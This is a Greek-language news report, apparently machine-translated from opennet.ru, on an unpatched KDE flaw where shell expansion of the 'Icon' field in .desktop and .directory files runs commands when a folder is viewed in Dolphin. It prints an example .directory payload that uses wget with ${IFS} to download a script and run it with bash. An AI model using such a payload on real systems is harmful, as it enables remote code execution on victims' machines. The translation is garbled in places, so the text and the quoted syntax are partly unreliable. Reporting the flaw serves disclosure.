Ευπάθεια εκτέλεσης κώδικα KDE κατά την προβολή λίστας αρχείων

Στο KDE αναγνωρισθείς τρωτό, το οποίο επιτρέπει σε έναν εισβολέα να εκτελεί αυθαίρετες εντολές όταν ένας χρήστης προβάλλει έναν κατάλογο ή ένα αρχείο που περιέχει ειδικά σχεδιασμένα αρχεία ".desktop" και ".directory". Μια επίθεση απαιτεί από τον χρήστη να δει απλώς μια λίστα αρχείων στη διαχείριση αρχείων Dolphin, να κατεβάσει ένα κακόβουλο αρχείο επιφάνειας εργασίας ή να σύρει μια συντόμευση στην επιφάνεια εργασίας ή σε ένα έγγραφο. Το πρόβλημα εκδηλώνεται στην τρέχουσα έκδοση των βιβλιοθηκών KDE Πλαίσια 5.60.0 και παλαιότερες εκδόσεις, έως και KDE 4. Η ευπάθεια παραμένει λείψανα αδιόρθωτος (Το CVE δεν έχει εκχωρηθεί).

Το πρόβλημα προκαλείται από μια εσφαλμένη υλοποίηση της κλάσης KDesktopFile, η οποία, κατά την επεξεργασία της μεταβλητής "Icon", χωρίς σωστή διαφυγή, μεταβιβάζει την τιμή στη συνάρτηση KConfigPrivate::expandString(), η οποία εκτελεί επέκταση ειδικών χαρακτήρων φλοιού, συμπεριλαμβανομένης της επεξεργασίας οι συμβολοσειρές "$(..)" ως εντολές που πρέπει να εκτελεστούν . Σε αντίθεση με τις απαιτήσεις της προδιαγραφής XDG, υλοποίηση αποκάλυψη Οι κατασκευές κελύφους παράγονται χωρίς να διαχωρίζεται ο τύπος των ρυθμίσεων, π.χ. όχι μόνο κατά τον καθορισμό της γραμμής εντολών της εφαρμογής που θα εκκινηθεί, αλλά και κατά τον καθορισμό των εικονιδίων που εμφανίζονται από προεπιλογή.

Για παράδειγμα, να επιτεθεί αρκετά στείλτε στον χρήστη ένα αρχείο zip με έναν κατάλογο που περιέχει ένα αρχείο ".directory" ως εξής:

[Εισαγωγή επιφάνειας εργασίας] Τύπος=Κατάλογος
Εικονίδιο[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Όταν προσπαθείτε να προβάλετε τα περιεχόμενα του αρχείου στη διαχείριση αρχείων Dolphin, το σενάριο https://example.com/FILENAME.sh θα ληφθεί και θα εκτελεστεί.


Πηγή: opennet.ru

Προσθέστε ένα σχόλιο